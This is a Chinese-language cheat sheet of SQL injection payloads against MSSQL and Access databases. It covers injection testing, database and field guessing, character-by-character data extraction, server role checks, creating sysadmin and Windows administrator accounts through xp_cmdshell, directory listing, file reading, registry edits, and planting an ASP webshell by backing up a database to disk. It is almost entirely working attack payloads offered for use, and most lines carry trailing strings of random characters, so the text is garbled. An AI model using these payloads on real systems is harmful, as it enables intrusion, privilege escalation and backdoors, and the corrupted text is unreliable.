1.判断是否有注入;and 1=1 ;and 1=2 F.5fasdX'
2.初步判断是否是mssql ;and user>0 ?6&8-zt1?
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3.注入参数是字符'and [查询条件] and ''=' FX|&o>S(8
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' O>1Cx4s5
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5.判断数据库系统 )X[2~E
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;and (select count(*) from sysobjects)>0 mssql nH k^trGm
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;and (select count(*) from msysobjects)>0 access |g)>6+?]W
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 O^row1D_
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 _W_< bI34
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 W_JO~P
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9.(1)猜字段的ascii值(access) 7<;oz30G!L
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 qrw
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(2)猜字段的ascii值(mssql)
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _3yG<'f[Y
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10.测试权限结构(mssql) !p/?IW+
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R=LiB+p
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- jd-]q2fQ|
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8mKp PwG0
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- [%N?D#;
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- @e
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3}8o 9
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;and 1=(select IS_MEMBER('db_owner'));-- G_S>{<[
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11.添加mssql和系统的帐户 pOo016afmA
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;exec master.dbo.sp_addlogin username;-- *??lwvJp
;exec master.dbo.sp_password null,username,password;-- C\GP}:[T3
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ([dd)QU
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;exec master.dbo.xp_cmdshell 'net user username password q_h (D/g
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- A,c XN1V
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- V>`ANZ4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gE#'Zv {7
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12.(1)遍历目录 h&$h<zL[
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;create table dirs(paths varchar(100), id int) \toU zTT
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;insert dirs exec master.dbo.xp_dirtree 'c:\' g=56|G7n
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;and (select top 1 paths from dirs)>0 \H@1VgmR;
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ?!U[~Gq
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(2)遍历目录 VE|l;aXi
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- W-n4wIj"
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 vyIH<@@p7
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4?'vP '
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 EyE#x_A
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 w31Ox1>s
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13.mssql中的存储过程 .+/d08]
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xp_regenumvalues 注册表根键, 子键 TQF+aP8[L
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 qJrT
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xp_regread 根键,子键,键值名 R}M
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &3[oM)-V
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xp_regwrite 根键,子键, 值名, 值类型, 值 tg/UtE`V
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 l4oyF|oJTH
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 'p&,'+x
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xp_regdeletevalue 根键,子键,值名 _F;v3|`D@<
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 XVYFyza;
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /*mF:40M;
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14.mssql的backup创建webshell JL1ajlm~
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use model ::|~tLFu
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create table cmd(str image); "?I#!t%'
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insert into cmd(str) values (''); 6Yj{%
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backup database model to disk='c:\l.asp'; Gmz^vpQ]t
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15.mssql内置函数 #Vq9 =Q2
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;and (select @@version)>0 获得Windows的版本号 0ns\:2)cEB
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa dZU#lg
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;and (select user_name())>0 爆当前系统的连接用户 ^,>w`8
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;and (select db_name())>0 得到当前连接的数据库 5X) 8Nwbc
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16.简洁的webshell fjh|V9H
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use model pH1!6X
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create table cmd(str image); Z}J5sifr
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insert into cmd(str) values (''); 4Z"}W!A
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backup database model to disk='g:\wwwtest\l.asp';